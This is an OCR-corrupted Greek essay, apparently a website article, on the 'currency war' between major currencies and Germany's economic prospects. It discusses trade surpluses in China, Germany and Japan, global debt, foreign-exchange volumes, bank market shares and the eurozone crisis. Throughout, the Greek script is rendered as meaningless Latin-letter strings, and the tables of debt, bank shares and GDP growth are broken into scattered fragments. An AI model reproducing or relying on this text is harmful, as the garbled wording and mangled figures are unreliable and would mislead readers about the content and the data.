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O NOMIZMATIKOZ MOAEMOZ KAI H TEPMANIKH NMPOOMTIKH

[~

n

OTtav 0 KAaouZePLTG £Aeye WG 0 TIOAEPOG €lval N CUVEXLON TNG TIOALTIKAG JE AAAa pEOTQ,
€V uTopouce va dlavonbeil 6TL 0 TIOAEPOG TWV VOULOPATWY Ba EKTOTIL(E TO «dLAAOYO» TWV
OnAwyv. OUTE PTMOPOUCE va PAVTACTEL OTL 1 TIOALTLKN 6a TAUTL{OTAV PE TOV BLEBVI) OLKOVOULKO
AVTAYWVLOHO, XAvovTag TO IapadooLlako tng neplexopevo. Ki dpwg n dlebvng
MEAYMATLKOTNTA SLANOPPWVETAL KATW AT TLG ATALTHCELG TIOU BETEL N OLKOVOWLKN)
UTIEPETIEKTAOT] KAl 1 SLAKUPBEPVNON OLKOVOULKWY {NTnuatwyv. H eEEALEN autr) dev ntav
OTOLXELO TwV TIPORAEWEWV oUTE Tou DoukoyLapa (PLAEAEUBEPN BNPOKPATLKN ELPHVEUOT), OUTE
Tou XAVTLYKTOV (CUYKPOUON TIOALTIOMWY), ouTe Tou Mivoxdiuep, (TTOAUTIOALKT) CUYKPOUON).

Kat taAt anodelkvueTal, Tweg N UALKY TIPAYUATIKOTNTA ATIOKTNONG KAt dLavoung TOU TTAOUTOU
elval n Kwntnplog duvaun Tng otopiag. Oco nelr Kal av eival autn n aAnbela eival n povn
PEAALOTLKN).

Ta nevte yeyala debvn vopiopata (doAaplo, eupw, OTEPALVA, YLEV KAl youav) BpiokovTatl
OLaPKWG, Ao dEKAETILAG, OE OXEOELG AVNAEOUG avTaywviopou. EkppalovTag Tig €0vVIKeEQ
TOUG OLKOVOMLEG, TIPOCTIAB0oUV TAUTOXPOVA VA TIPOACTILOOUV KAl va Tipowbnoouv ta (wTLlka
OUMQEPOVTA TWV XWPWV TOUG. APoU £vag KAAOLKOG TIOAEPOG HETAEU TWV PELLOVWV
duvapewy OgV €ival TIAEOV ATIOTEAECPATLKA EPLKTOG yla Kapia, Adyw TnG ATOTPETITLKNG
LOXUOG TNG AAANG, N dLacpAALON TNG KUPLAPXLag ETILXELPELTAL HEOW TNG VEAG HOPPNG TOU
VOULOUATLKOU TIOAEHOU. Ol {wVEG VOULOUATLKAG KUPLaPXiag €X0uUV Th TAON va CUPPLKVWVOVTAL
KAl va ETEKTELVOVTAL, AOYW TWV EAEUBEPQA KUPALVOPEVWY CUVAAAQYUATLKWYV LOOTLPLWY. ETol
TO TIPWTELO TOU dOAapPLOU auPLORNTELTAL KAL N LOXUG TOU KLVECLKOU youdv ermekTeiveTal. H
evapktnpla duvapikn tou Eupw unovopeueTal Kal n mapadootakr) aElomiotia g oTePAivag
olappwveTal. AANG OTLG KABNPEPLVEG HAXEG TWV VOULOPATWY OEV UTIAPXEL JOVLUN LOOPPOTILa
VIKNTN Kal nTTnuevou. OL onueplveg Beoelg umopet va uetaBAnBouv auplo, anodeElkvuovTag
NV TEPACTLa aBeBatdTnTa, acTAdeLla KAl HETABANTOTNTA TIOU UTIAPYXOUV OTLG OLEG TLG OOMEG
TOOO TOU dLEBVOUG OLKOVOULKOU CUCTAUATOG OCO0 KAl TWV E6VIKWY OLKOVOULWY TIoU EKPPAlouV.
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Acpalwg Ta vouiopata dev arnoTeAOUV auBUTIAPKTA OLKOVOULKA PEYeEONn. Ekppalouv tTnv
OUVALKT TWV OLKOVOULKOKOLVWVLIKWY CUCTNPATWY AAAA TAUTOXPOVa €X0UV Th duvaun Kat va
ETULOPOUV ETT AUTWV. H TapadooLakn LoXUG TNG TIOALTLKNG Opaipag CUPPLKVWVETAL KAl
0TadlaKA TiBeTal KATW ATIO TOV TIUKVO LOKLO TNG OLKOVOULKOVOULOMATLKNG UTIEPETIEKTAONG.
Ta peyadAa MOALTIKA avacThpata nyetwy egagavidovtal otadlaka arnod tn oknvr) KaL Tn Beon
TOUG KATAAQUBAVOUV ATIPOCWTIEG OLKOVOULKEG EVWOELG CUMGPEPOVTWY TIOU BLOLKOUVTAL ATIO
aAAnAoavatlpouueveg KaL acTadeiq etalplkeg doueg e€ouoiag. H actabela kaw n
METABANTOTNTAQ, €LvaAL TIAEOV POVLPA XAPAKTNPELOTIKA TOU dLleBvoUG CUCTNPATOG Kat OXL oL
egalpeoelg Tou. MNpLv akoua TEAELWOEL N TTapoUCa KPioT, OL TIEPLOCOTEPOL OTOLXNKATL(OUV OTL
N auECWG ETOPEVN, Ba cuvioTaTal Ao PLa vea PpouoKa oTn dLeBvr) ayopd oJoAOYwV 1) OTNnV
ayopa akwntwv tne Kivag.

To epwTnua mou gyeipetal Eava kat Eava eivat To akoAoubo: TL eival auto Ttou aAAa&e TOCOo
OPACTLKA TLG TEAEUTALEG OUO OEKAETIEG WOTE, TIPWTOV VA ETILPEPEL TNV ATIOOUVANWON TNG
TIOALTLKNG OLEBVWG KAl BEUTEPOV TNV KPLOLOYOVO EVOUVANWON TWV XPNHUATOOLKOVOULKWYV
ayopwv. Av HEAETNOEL KAVELG TLG YEWTIOALTIKEG KAL YALWOLKOVOULKEG METAPBOAEG TNG
TeEAEUTALQG ElKOOAETILAG €lval HAAAOV EUKOAO va aveupel TIG arnavtnoelg: H katappeuon tng
npwnv ZoBLeTIKNG Evwong aneAeubepwoe yla tepaoTia pala YEWTIOALTLKNG KAl OLKOVOULKAG
oroudaloTNTAg TN Oroila eC0TIEUCAV aKapLaia va EKJeTAAAEUBoUV oL OUTLKOL TIOAUEBVLKOL
OPLAOL KABE popPpng Kat kABe katnyopiag. Ta kepdn Tav avuroAoylota. Idlaitepa ota
EVEPYELAKA AoBePaTa, OTOV UNXavoAoylko eEOTIALONO, 0TA TIPOLOVTA TEXVOAOYLAG,
TTANPOPOPLKNG KAl TNAETILKOLVWVLWYV. Ol JETAPPUOULOTLIKEG TIOALTIKEG areEAeuBepwong NG
olkovopiag tng lvdiag, amo tnv apxn tTng dekastiag tou ‘90, dnuioupynoav TLG idLeg
MPOUTIOBE0ELG CUCOWPEUONG, TIPOCYPEPOVTAG XANNAO KOOTOG £pYACLAG ELOLKEUPEVOU
€PYATLKOU dUVANLKOU. ["EVIKOTEPQA, OL OLKOVOMLEG ToU ELpnviKoU, HECW TIOALTLKWY
QToPPEUBULONG KAL VOPLONATLIKWY OLEUKOAUVOEWY KATAPEPAV VA EPAPUOCOUV TIOALTLKN «TIPO
OEAKUOTLKOTNTAG

»

n oroia dsv APnNoE adLAPOPEG, OTIWG NTAV PUCLKO, TLG OUTIKEG JEYAAEG KAl ULKPESG
TOAUEBVLKEG, OL OTIOLEG ECTIEUCAV VA £TIEVOUCOUV. MeYAAEG Talpieq TIOU EOLKEUOVTAL OE
KAABOUG EVTACEWG £PYACLAG KAL WPLPNG TEXVOAOYLAG, OTIWG TA KAWOTOUPAVTOUPYLKA, TO
€TOLYO £VOUUQ, TA UTIOdNPATA, TO NAEKTPOAOYLKO UALKO, O EEOTIALONOG OXNHATWY, KATT,
«METAVAOTEUCAV>» OTLG AMEAEUBEPWHEVEG KAL ATIOPPUBPLOUEVEG ayopeg TNG Aciag Kal TNG
Atmiw AvaTtoAng. Meow autwy Twv dLadlKaoLWV KLVNTIKOTNTAG TWV TAPAYWYLKWY
OuvVTEAECTWY, YPAPEL 0 IN. KpouyKuav, OL TOTILKEG OLKOVOMLEG ETTWPEANONKAV NEPLKWG AAAQ
APKOUVTWG, YLa VA QVTIPMETWTILOOUV TNV Xpovia pTwXELa Kal Tievia Toug. Akopa kat n Kiva, pe
TO KABEOTWG TNG «KOUMUOUVLOTLKNG OALYyapXiag» Tiou KAAALEPYEL, TIPOCETPEEE va TIPOCPEPEL
OAa oXedOV TA MPOATIALTOUNEVA YLA TNV EQAPUOYN TNG TIOALTIKNG TNG TIPOCEAKUCTIKOTNTAG
Eevou kegpaAaiou. To avTLPaoiko doyua Tou Tevk Ziao MMivyk,

«

o

nAoutog
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eivat
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apxilel va arnodidel kaproug. Me KoppaTikr dEO0TIOTELA ETILTUYXAVEL £VA TIPWTOYVWPO
KOLVWVLKO KAl £pYAcLaKO VTANTILVYK (N OpAon TwV CUVOLKATWY £ival ArnayopeEUPEVD) UE TO
OTIOLO (POUCKWVEL ETILKIVOUVA TA EUTIOPLKA TNG TTAEOVACHATA KAl JE TEXVNTY) UTTOTiLUNON TOU
youayv, OLOYKWVEL TA CUVAAAQYPATIKA TNG arnoBepata. To ENTopLKO TNG MAEOvaoua ayyilel
TO £va dekato tou AEN kat Ta cuvaAAaypaTtika Tng anobepata ta 2,6 Tplg doAdpla. To
EPWTNMA OPWG TIOU TLBETAL €ival TOCOo art’ auTo TO MAEOVACUA TIAPAPEVEL OTN XWEA Kat
TMOO0Oo odnyeital oTn BeEATiwoN TNG ayopaoTLkng duvaung tTwv Kivelwv; EAdaxLoto, sival n
ardavTnon, ylaTi TO HEYAAUTEPO PMEPOG TNG AVATITUENG EXEL EEWYEVH XAPAKTNPELOTIKA, YE
etalpieg kupiwg Kivelwv g dLacTiopdg, TNG KOPUATLKNG OALYaPXiag Kal TwV OUTLKWY
OMiLAWV, TIOU CUYKEVTPWOAV TLG ETIEVOUCELG TOUG OTN VOTLOAVATOALKN) AKTH dNnNuLOUpywvTag
TEPAOCTLA TIPOPANHATA ELCOONUATLIKWY AVIOOTATWY KAL OLKOAOYLKWYV ATIELAWV.

AuteEg elval ol Baoikeg attieg mou odriynoav To dLEBVEG OLKOVOULKO oUucTnUA oTn Ttapouca
(paon TNG urep peuctotntag. Kata eva pepog, oL eEeAi&elg auteg, otnpilovtal o€ VOUOUQG
LOTOPLKAG ALTLOTNTAG KAl KATA £va AAANO, O€ TIOALTIKEG ETILAOYEG.

Twpa OPWG EPXETAL OTO PWG, N ONPAVTLIKOTEPN AVTLVOULA TOU OLEBVOUG OLKOVOULKOU
oucTHNATog. H dnuloupynbeica peucTtoOTNTA N UTIEP TIApAYwYH, Ba TPETIEL va artoppoPpnoEL.
To unapyov €Tinedo OPWG NG MAYKOOHULAG KaTavaAwong OV €ival Lkavo yLa KATL avaloyo,
eilvat oAU XaunAotepo. Zuvenwg Ba npermel va dnuoupynBei mpooBetn katavailwaon, (Oxt
OMWG OTLG XWPEG UTIEP TIAPAYWYNG), HE EQAPUOYN XAAAPWY VOULOUATIKWY KAl
ONUOCLOVONLKWY TIOALTIKWYV adLagopwVvTag yla Ta EAAELJPATA TIOU Ba TIPOEKUTITAV ApoU
QUTA PTIopoUCAV va KaAugpBouv amo TIG ELOPOEG HEYAAWYV TIOCOTNTWYV KEPAAAiwV,
TIPOEPXOUEVWYV ATIO TLG TIAEOVACHUATIKEG XWPEG, EWG TOUAAXLOTOV £VA LKAVOTIONTLKO BABUO.
Etol epgpaviotnkav mAeovaopata oToug AoyapLlacpous kepaAaiwv tTwyv HIMA, tou H.B. kat
AAAWV EUPWTIATKWY XWPwV aAAd eEAAEiPpaTA 0Ta Loo(UyLa TWV TPEXOUCWY CUVAAAAYWV
Toug. NMapaAAnAa oL CUVAAAQYUATIKEG LOOTLULEG TWV EAAELMHUATIKWY XWPWV NTaV
MeyaAuTepng a&lag arnod eKelveg TwV XWPWV TIOU Ttapnyayav utep peuototnta. Ot
KUPLOTEPEG ATIO TIG XWPEEG TIOU TIaprjyayav Kat mapayouv rAsovalouca mpoogopd, ivat n
Kiva, n Mepupavia, kat n lanwvia. Alatnpouv UrnoTLyNUEVA VoPiouata Kat XapnAo mAnbwpLlouod
ETILTUYXAVOVTAG UYNAN avTaywvLloTIKOTNTA.

Onwg eival yvwoTtod N mpoobeTn KATAVAAWON OTLG EAAELYUPATIKEG XWPEG, OEV TIapaxbnke
aro Tnv augnon Twv dLEBVWE EUTIOPEUCLPNWY ayabwy Toug aAAd arod Tov dAVELCHO Kal Tnv
BeEATiLWON TWV MPAYMATIKWY apolBwy. O0o OPWG KAl av auEnenke n davelakr) Katavaiwon
TWV VOLKOKUPLWY KAL TWV ETILXELPHOEWV OEV KATAPEPE va ATIOPPOPNCEL TNV TTAeovalouca
PEUCTOTNTA ETILKEPOWG. ETOL dnuloupyndnkav Kat evioxubnkav dLebveig urep ayopeq

3/19



NoHLOHATLKOG MOAEOG Kal Meppavikn MpoomnTikn

>uvtayBOnke amo tov/tnv Administrator

XPNHATOOLKOVOULKWY TIPOIOVTWY OAWV TWV HOPPWV KAl JAALOTA YE UYPNAL JOXAEUOT), OL
oroleq €6s0av TO CUOTNUA EKTOG TPOXLAG. To UWog Twv KEPaAaiwy Tou dlaklvouvTal OTLG
aAyopEG CUVAAAAYUATOG, OMOAOYWV, TTIAPAYWYWYV, HETOXWV, ACPAACTPWY KLVOUVOU, KATT,
elval aouykpLTa JEYAAUTEPO aTtO EKELVO TIOU BAVELCTNKAV TA VOLKOKUPLA 1) AKOPA Kal Ta
KPATn, 1) arod tnv a&ia tou dLeBvoug EUTIOPLOU KAl Twv eTEVOUCEwWV. 'la rapadelyua Ba
avagepw dUo apLBuoug oL OTTIoLoL ITIOPOUV va BonBricouv 0Tn OWOTr KaTavonon tng
onuepLVNG mpayuatikotntag. H a&ia tou nmaykoouou eutmopiou 1o 2009 epbaoce ta 11,4 TplQ
doAdapta. H a&la opwg Twv HECWV NHEPNOLWV CUVAAAQyw V 0TNV ayopd ouVAAAAYUATOG
pBavel ta 3,98 TpLg doAdapta auEnuevn kata 20% arod 1o 2007 nou ntav $3,2 1plg. X eTrola
Baon ayyilel To eva TeTPAKLG doAapla. Kat o 0YKoG auTtog Twv CuvaAAaywv KataypageTat
MOVO OTNnV HOXAEUPEVN ayopd CUVAAAAYHATOG. AV TIPOOTEBOUV KAl OL AAAEG AYOPEG TWV
alAwv TiTAwV TOTE Ta Mpaypata Eepeuyouv arnod KABs gpavtacia. Oa MPETEL VA ONPELWOW
Nw¢ To rtaykoouto AENM epBaoce 1o 2010 ta 65 TpLg doAapLa. € JOVAdEG AYOPATTIKNG
duvaung ivat Aityo peyaAutepo. ATO Tnv AAAn, TO TIAYKOOMLO XPEOoG eival 58 TpLg doAapla.
Mpoogata, o Economist,
ONPOCLEUOE TN KATAOTAON XPEOUG TWV TIEPLOCOTEPWY XWPWV. Ta aplBunTika otolxeia yla
AAAN pa gopd erBefatwvouy tn Bewpia. OL IEPLOCOTEPO dAVELOPEVEG XWPEG dEV €ival oL
PTWYXEG AAAA oL TTAouoLeG. ATTAouoTaTa auTeg sival o Beon va avtanegeAbouv Twyv
UTTIOXPEWOEWV TIOU TIPOKUTITOUV YLa TNV ATOTIANPWUN TOU XPEOUG.

(X peq [ ( |evdeikTiKa )
[Kata [keain [xp€og ,$
[Xpeog [wg [mpog |AEN
|HMA

130,114

163,1
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[KANAAAY

137,697

182,3

|AYZTPIA

(30,697

72,1

[IANIONIA

184,998

1197,0

IFTAANIA

131,287
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183,4

|[EAANAAA

(33,285

1130,4

[ITANIA

136,808

1118,7

|BEATIO

(39,280

[100,5
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[FTEPMANIA

127,161

76,1

Mnyn: Economist

To YECO TIAYKOOMLO XPEOG TPOG To raykoouto AETN ayylge 1o 90% to 2010. Ta otolxeia
QUTA €ival ETAPKM yla va arnodei§ouv TTO00 ETIKIVOUVN £XEL KATACTEL N TIAYKOOULA
dLapbpwon TG olkovopuiag. MNati mavw o€ PLa MPAyPAaTLKr OLKOVOULKR BAon 65 TpLg
doAapiwv £XeL OlkOdOUNBEL 0aBpad, £va OiKNUA PE «AyvwaoTo» (N) aplBPo opopwyv, o€ oXNUaA
avaotpaupevng rupapidag. Eival guotko, Tporov tva, n yia gpoucka va dladexetat Thv
AAAN KaL N vea Kpion Tnv mponyoupevn.

OL mAeovaopaTtikeg Xwpeq (Mepupavia, Kiva, lanwvia, KAT) dev BeAouv 1) dEv UTIopouv va
aroppoPnoouv Tnv MAcovalouoca MPocPopa ayabwy Kal UTTNPECLWY TIOU TTAPAYOUV HUE TN
BoriBela Tng tEXVOAOoyiag. KatL TETolo Ba onualve augnon Thg EyXwpLag ayopacTIKNG
duvapng Kat YELWON TNG AVTAywVvIoTIKOTNTAG. H armoppdgpnon mpoepxeTal aro TiLg
eMelppaTikeg xwpeg (HMA, E. Evwon, KATT) oL OTtoieq OPWG €ival arodeKTEG KEPAAAiwy aro
TIG TIPWTEG KAl YU auTo ePgavifouv TTAEOVAOUATA 0T Kivnon Twv AoyapLacuwy Kegpaiaiou.
Na napddetypa n Kiva exel ertievduoel 897 dlg doAdpLa o€ opdAoya ToU KPATLKOU dnuociou
Twv HMA, evw Ta cuvaAlaypatika tng anobepata to 2010 epbacav ta $2,6 tpLg.
Tautoxpova emevoUeL Kal 0TLG avaduoueVEG ayopeg PE KepaAata uyoug $261 dig. ZuvoAika
Ta anofepata Twv MAEovVaouaTkwy Xwpwv Ba Eenepacouv Ta $5TpLg. Ta nmood auta eivat
MPWTOYVWPA TNV LOTOPLA TWV dNUOCLWY OLKOVOULKWY EVW TAUTOXPOVA dNULOUPYOUV
TEPAOTLA TIpoPAnpata. MpwTta ar’ 6Aa n anpdoKoTTn EAEUBEPLA OTN KivnNon TOUG YLYQvTWVEL
TLG dLebveiq ayopeg kepalaiou. Ol BECULKOL OPYAVIOPOL KEPAAQLOU BLATNPOUV 0T KATOXN
TOUG XaPTOPUAAKLA TIOAU peyaAuTepa arnod To EBvikd Eloodnua moAAwv Kpatwv. AsUtepoV N
arnodAuTn eAeubepia OTLG PPAXUXPOVLEG KLVHOELG TOUG ArocTABEPOTIOLEL TIG EBVLKEG AYOPEG
KAl ATTOdUVAUWVEL TNV EPAPHOYT] HOKPOOLKOVOULKWY TIOALTIKWY TWV KUBEPVROEWV. TpiTov,
OUMBAAAOUV 0TNV €PPAVLION NEYAAWY OLOKUPNAVOEWY TWV CUVAAAQYMATLIKWY LOOTLULWY TWV
BACLKWY VOULOPATWY YE TPOUAKTLKEG CUVETIELEG OTO TOPEQ TWV APECWYV ETIEVOUCEWV.
TeTapTov, N LKAVOTNTA ayopAg KPATLKWY OJOAOYwWYV, ONAQdN XPEOUG, TWV EAAELMPATIKWY
XWPWV, AUEAVEL TN TIPOCPOPA XPHMATOG O’ QUTEG TIOAU TIAVW ATIO TO ETILIIEDO LOOPPOTILAG.
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Mepmtov, Ta uPnAd cuvaAAayhaTtika anobeuata ag’ EVOg KAl TO EPYACLAKO VTANTILVYK ag’
€TALPOU, CUVEPYOUV £TOL WOTE VA KPATELTAL OE XAUNAQ ETILIEDA N LOOTLULA TWV VOULOPATWV
TOUG. AUTO HE Th OELPA TOU HEYAAWVEL KAL TIAAL TA EUTIOPLKA TTAEovaouata. Ektov, Ta
ylyavtiaia mood Ke@aAaiou TIou dLAKLVOUVTAL OTLG OLEBVELG ayopeg, dNULOUPYOUV BLEBVLKOUG
OopiAoug KEaAaiwy, N LOXUG TWV OTIOLWV €ival TIOAU JEYAAUTEPN ATO EKELVN TWV EBVIKWY
Kpatwv. To 70 -90% twv nMpa&ewv autwyv Twv oPiAwyv eivatl kepdooKoTukeg. O Tiivakag 1ou
aKoAOoUBEL deixveL TOUG dEKA PEYAAUTEPOUG AT AUTOUG WG TIPOG Ta PEPLOLA ayopdag.

Ovopa [I5pUpatog

|Mepidilo layopag |, %

| Deutsche Bank

[18.6

|Ubs

111.3

|Barclays capital

[11.08

8/19



NopLopaTIKOG MOAEPOG Kal Meppavikn MpoomnTikn

>uvtayBnke amo tov/tnv Administrator

| Citi

17.69

| Royal Bank of Scotland

[6.50

|JB Morgan

16.35

[HSBC

[4.55

| Credit Suisse

|4.44

|Goldman Sachs
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14.28

|Morgan Stanley

[2.94

Mnyn: TpaneCa AleBvwv AlakavovLouwV.

TEAOG, N ayopd TOU XPEOUG TWV EAAELMUATIKWY XWPWV artd TIG TTAEOVACHUATIKEG, WPEAEL
oTnv anoppogpnon Thg tAeovaloucag MPoopopAG TOUG AAAA dNULOUPYEL OTLG TIPWTEG TIOALT
LKO €
PnNouUXacuo

Kat

avioopporiia

ota

dnuoolovouLka

TOUG

HEYEON

KAtw aro TETOLEG TIPWTOYVWPEG CUVONKEG, OTLG oTtoieg deaTioouv oL EAsUBepa
KUMOLVOPEVEG CUVAAAQYHATLKEG LOOTLULEG, AAAG OXL yla TN Kiva, oL KEPOOOKOTILKEG
OUVAAAQYEG OTLG AYOPEG XPNUATOOLKOVOULKWY TIPOLOVTWY, TO carry trade pexpL mpodTLvog, N
TMANRPNG €Aeubepia akoua Kal OTLG PPAXUXPOVLEG TOTIOBETNOELG KEPAAALWY, KATW ATIO QUTEG
TLG OUVONKEG, 0 £TEPOOOEOG BUIOUOG TTAEOVACHATIKWY KAl EAAELMPATIKWY XWPWV, Hotalel va
avanapdayet e AAAN HOPQPT), TO HETATIOAEULIKO DLITOALKO CUCTNUA avTaywvlopou. Me tn
OLagopPA OTL AUTH TN POPA OL AVTAYWVLOTLKOL OLKOVOWLKO - TIOALTLKOL TIOAOL OV €ival duo
aAAd revte. AnAadn n Mepuavikn Eupwrin, n lanwvia, ot HMA, n eAAelpuatikny Eupwrn, Kat ot
Aeyopueveg BRICs.
ATU Tn doun QuTA NG TIAYKOOHPLAG APXLTEKTOVIKAG TNyadlel Kat To aitnua tng Kivag kat
AAAWV avaduUOPEVWY XWPWV, YLa TNV HETATPOTIH TOU TIAYKOOULOU VOULOUATLKOU CUCTAUATOG.
To doAApLo eV PUTopPEL TIAEOV va ATIOTEAEL TO KUPLO ATIOBEUATLKO VOULOPA aAAd Ba TpeTeL
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va avTkataotabel ano eva kaAabL voulopdtwy, (to Keuvolavo

Bancor

), TO OTt0il0 Ba €yyuaTal HEYAAUTEPN VOULOUATLKA acpaAeila. Hon n Kiva npoxwpei os
EVTUTIWOLAKEG KLVNOELG dlagpopoTrioinong. AuEnoe ta anobeuata TnG 0€ VOTLOKOPEATLKO
voulopa amo 1,9tpig youav ($1,501Q) o 5,21p1g. Evw Ta anobepata tTng o€ eupw €ivat
auénueva Kata 26%. Mpoéogata o avanAnpwtng dLoKNTNG TNG KEVTPLKNG Tpanelag

Yi

Gang

, ONAWOE OTL yECA OTA EMOPEVA 4 -5 Xpovia n Kiva mpoTibetal va hewwoeL Ta mAeovacuata
OTO LOOCUYLO TPEXOUCWY CUVAAAQYWYV KATW aro To 4% tou AEIN aAAa Ba nipetiel mapaAAnAa
va PELwBoUV Kal oL KEPOOOKOTILKEG TIPAEELG. MNavTwg To PepPidLlo Tou doAQpLou 0Ta TIAYKOCHLA
arofepata exeL pewwbel anod 1o 71% 1o 2001 oto 62% 10 2009, EVW TOU EUPW ATIO TO 28%
0TO 26%. AvTiBeTa KepdL{OUV £DAPOC TO KLVECLKO YOUAV KAl TO PWOLKO POURAL.

Oa TEPLPEVE KAVELG OTL OL XWPEG TIOU AvartuocoovTal Je facn Tnv augnon tng Katavalwong
Kal Kupiwg ot HIMA, va eixav avtidpacel £ykaipa 0Tn KATACTAON QuTr Kat BeRata mpLv ano
To £EoTaoUA TNG KPiong. AUTO OPWC OEV £YLVE YLATL OL JEYAAOL BECHULKOL OULAOL TTOU
EAEYXOUV TLG KLVAOELG KEPAAQLWY, EXOUV AVATITUEEL LA UTIEPEBVLKY) CUVELONOT, OTIWG YPAPEL
0 XAvTLykTtov oTo «[lototl EipacTte», n oroia mpoTAcoEL TA ETALPLKA TOUG CUNPEPOVTA OE
Bapog Twv €BVIKWV.

Ol HMA pg TNV VOMLOHATLKN EMEKTAON TIOU ETILXELPOUV TwPA, O KABEOTWG EAEUBEPQ
KUMALVOUEVWY CUVAAAQYUATLKWY LOOTLULWY, PLAODOEOUV VA ETILPEPOUV QUENCN TNG
ETIEVOUTLKNG dATAvVNG, CUYKPATNON TOU ETILTOKLOU 0€ XaunAd €Tiineda, augnon Tou €6vLKou
TIPOLOVTOG, PELWON ToU EAAELPUPATOCG Tou LooCuyiou ayaBwyv KAl UTTNPECLWY KAl augnon tng
arnaocxoAnong. Tautoxpova dev Ba arnopuyouv ETILOELVWON TOU AOYapLaoPoU KEpaAaiou Kat
Melwon NG a&iag tou doAapiou. AUTO TO PELYMA TIOALTLKAG €lval n anavinon Toug oThv
apvnon g Kivag va emnitpeyet tnv avatiynon Tou Youdv Kat Tn JELWOoN TwV TTAEOVAOHATWY
NG. H urotiunon tou doAapiou €ival TO OTIAO yLA TNV AVTLUETWTILON TOU UTIOTLUNKEVOU Youav
KQL TOU YEPUAVLKOU EUPW.

H nepintwon tng Neppaviag eivat avaloyn pe ekeivn g Kivag. Ta mAeovaouata mou
eyypagel pbavouv oto 8% tou AEI tng. AuTo, €K IPWTNG OYEWG, MAG KAVEL va BEWPOUNE TN
YEPMAVLKN olkovopia Wdaitepa .oxupr. Opwg av anodexBouue To KPLTHPLO TNG BEATLOTOMOL
nong ' g Ko
LVWVLKNG

gunuepiag

, TOTE N «OLKOVOLKT) LOXUG» OEV OUMBAAAEL OTNV EKTIANPWON Tou. OL TPAYUATIKEG AUOLPEQ
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NG Epyaciag £xXouv mapapeivel ota idla eTineda, av OV £XOUV PELWBEL EAAPPWG, aro TO
1999. H mapaywylkotnta tng €pyaciag otn Nepuavia dev eival n KaAutepn otnv eupwlwvn
Kal BpiokeTtal Tiow anod tnv avriotowxn tng MaAAiag n omoia 6pwg eppavilel eAAeippata. Ou
npayuatikoi ool peta&u tou 2001 kat 2007 £xouv PELWOEL OE OXEON PE TNV TIPO EUPW
TEPLOBO, YEYOVOC TIOU ETIEPEPE TN MELWON TNG CUVAAAQYMATLKAG LOOTLPLAG KAl TNV
OUVAKOAOUBN augnon Twv eEaywywv.

OL eMeVOUOELG TIOU CUVTEAOUVTAL OTO EEWTEPLKO €lval JEYAAUTEPEG ATIO TG AVTIOTOLXEG OTO
ECWTEPLKO KATL TIOU EKPPALETAL OTOUG a0BEVIKOUG pubuoug avantuéng tou AET. Tn
TeAeutaia dekaeTia To payuatikd AEM otnv Eupwrn twv 27 £xel augnbei kata 16,4%,
oTtnv eupwlwvn Kata 14,3% evw otn N'eppavia povo kata 8,7%. Onwg kat otn Kiva, ta
eTNEDdA EYXWPELAG KATAVAAWONG €ival XapunAd evw o€ avtiBetn KATeuBuvon KlvouvTal EKelva
NG anotapicuong Adyw tng apepfatdotntag mou viwbouv oL yeppavol yla To gJeAAov. H augnon
Tou Kata kegpaAn AEM, otn M eppavia Bpioketal 0TLG TEAEUTALEG BEOELG NETAEU TWV XWPWV
™G eupwlwvng, CWPEUTLKA TaA TEAeUTALa dEKA Xpovia, ‘99 —'09, dTwg dEiXVEL O TIivaKag:

| Xwpeg

|AUEnon Kata kepaAnv AEl teAeutaiag 68K0¢Tlaq (%)

[EANaSa

70

llomavia

153

12/19



NopLopaTIKOG MOAEPOG Kal Meppavikn MpoomnTikn

>uvtayBnke amo tov/tnv Administrator

lIphavdia

153

|OA\avdia

149

|Moptoyahia

141

|®havdia

141

|H. Baoilelo

140

|BeAylo

13/19



NoHLOHATLKOG MOAEOG Kal Meppavikn MpoomnTikn

>uvtayBOnke amo tov/tnv Administrator

138

| Zoundia

137

IFCaAAia

137

|Auotpia

36

|Cepuavia

135

|Aavia
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131

[ItaAia

[22

2Uhpwva Pe Ta otolxeia tou MNaykooplou Opyaviopou Epmopiou, ol eEaywyeg tng MNeppaviag
Kata 55% arnoppopwvTal aro TG Xwpeg g E. Evwong evw to uroAoLro 45% amnoppogatatl
arnod TIg Xwpeg ™G Aciag, tnv Kiva kat tn Pwoia. Z1n TpooTtTiKr OPwG, oL EEaYWYEG TIPOG
Vv Aoia Ba augavovtal evw mpog tnv E. Evwon Ba pewwvovtat. Evtunwolako sivat to
YEYOVOG OTL OL XWPEG TNG EUPWTIALKNG TIEPLPEPELAG ATIOPPOPOUV HOVO TO 8 - 10% Twv
YEPMAVLIKWYV EEAYWYWV, YEYOVOG TIOU JAPTUPEL KAl TNV aBeATnpia Tng yta tnv dlaowon Toug
ME TNV £KBOOT EUPWOPOAOYOU 1) JE TNV AUENCN TWV KOVOUALWY TOU EUPWTIAIKOU UNXAVICHOU
OTNPENG.

To oupmepaoua TouU TIPOKUTITEL €lval TIWG yLa va avTlheTwriioel n E. Evwon Tiq acupuetpeg
OLKOVOMLKEG dLaTapaxeg 6a MPETIEL vaL YEV VA PELWOEL TN KATAVAAWTLKY dardvn Kat va
AQuEnNoeL TNV EMEVOUTLKY 0TN TIEPLPEPELA TNG AAAQ TAUTOXPOVA Ba TIPETIEL va AUENOEL TNV
EYXWpPLa KaTavaAwon KAl va JELWOEL TNV ETIEVOUTLKY 0TO €EWTEPLKO, 0N Meppavia KaL oTLq
AAAEG TTAEOVAOHATLKEG XWPEG. Av Ba nBeAe n E. Evwon va emupepeL OUYKALON TwV ETULITEOWV
AVATITUENG KAl VA AVTLUETWTTILOEL TN Kplon, 6a ETIPETE va MPOWONOEL HETAPPUBULOELG Kal
otn

MePLPEPELA

Kat

oto

KEVTPO

. ALa@OopPETLKA, ONAQdN PE TNV TIAYLOTIONOT TWV ATIOKALOEWYV, JoLalel aveEPLKTN

Kat

n

TIOALTLKN)

gvoroinon

Kat

n

diatnpnon

TOU

eviaiou
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vouiopatog

Opwg n Eupwrin dev gival mapd eva JEPOG TOU TTAayKOOoULoU cuvoAou. Kat n kpion mou
AVTLUETWTILCEL Elval YPANULK QVTAVAKAQOT TNG KPLONG TIOU AQVTLUETWTIL(EL O KOOMOG. 2’ auTo
TO TTAQiOLo, dev palveTaL va UTIAPXOUV TOTILKEG AUCELG O€ MayKoouLa npopfAnuara. lNna
va TEAECPOPNOOUV OL EUPWTIAIKEG TIOALTIKEG AVTLMETWTILONG TNG KpLlong, Ba mpeTeL va
ouvduaoBouv hE AVAAOYEG TIOALTIKEG O€ TIAYKOOULO eTtinedo. Eival oAogpavepo TAEoV TTwG TO
TIAYKOOWULO VOULOPATLKO KAl TILOTWTLKO CUCTNHA XPeLalovTal EKTETAPEVEG ETIAVOPBWOELG.
